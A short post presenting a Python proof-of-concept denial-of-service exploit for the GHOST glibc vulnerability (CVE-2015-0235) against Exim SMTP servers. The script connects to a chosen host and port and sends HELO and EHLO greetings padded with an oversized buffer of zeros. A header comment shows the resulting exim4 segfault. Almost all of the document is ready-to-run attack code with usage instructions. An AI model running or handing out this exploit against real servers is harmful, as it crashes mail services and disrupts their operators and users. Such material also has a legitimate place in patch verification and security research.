The below script is a PoC exploit for the GHOST vulnerability affecting Exim SMTP servers resulting in a service crash.   #!/usr/bin/python # Exim ESMTP DoS Exploit by 1N3 v20150128 # CVE-2015-0235 GHOST glibc gethostbyname buffer overflow # # USAGE: python ghost-smtp-dos.py <ip> <port> # # Escape character is '^]'. # 220 debian-7-7-64b ESMTP Exim 4.80 ... # HELO # 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000  00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000# Connection closed by foreign host. # # user () debian-7-7-64b:~$ dmesg # ... # [ 1715.842547] exim4[2562]: segfault at 7fabf1f0ecb8 ip 00007fabef31bd04 sp 00007fffb427d5b0 error 6 in # libc-2.13.so[7fabef2a2000+182000]   import socket import time import sys, getopt   def main(argv):     argc = len(argv)       if argc <= 1:             print "usage: %s <host>" % (argv[0])             sys.exit(0)       s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     buffer = "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"       target = argv[1] # SET TARGET     port = argv[2] # SET PORT       print "(--==== Sending GHOST SMTP DoS to " + target + ":" + port + " with length:" +str(len(buffer))     s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)     connect=s.connect((target,int(port)))     data = s.recv(1024)     print "CONNECTION: " +data     s.send('HELO ' + buffer + '\r\n')     data = s.recv(1024)     print "received: " +data     s.send('EHLO ' + buffer + '\r\n')     data = s.recv(1024)     print "received: " +data     s.close()   main(sys.argv)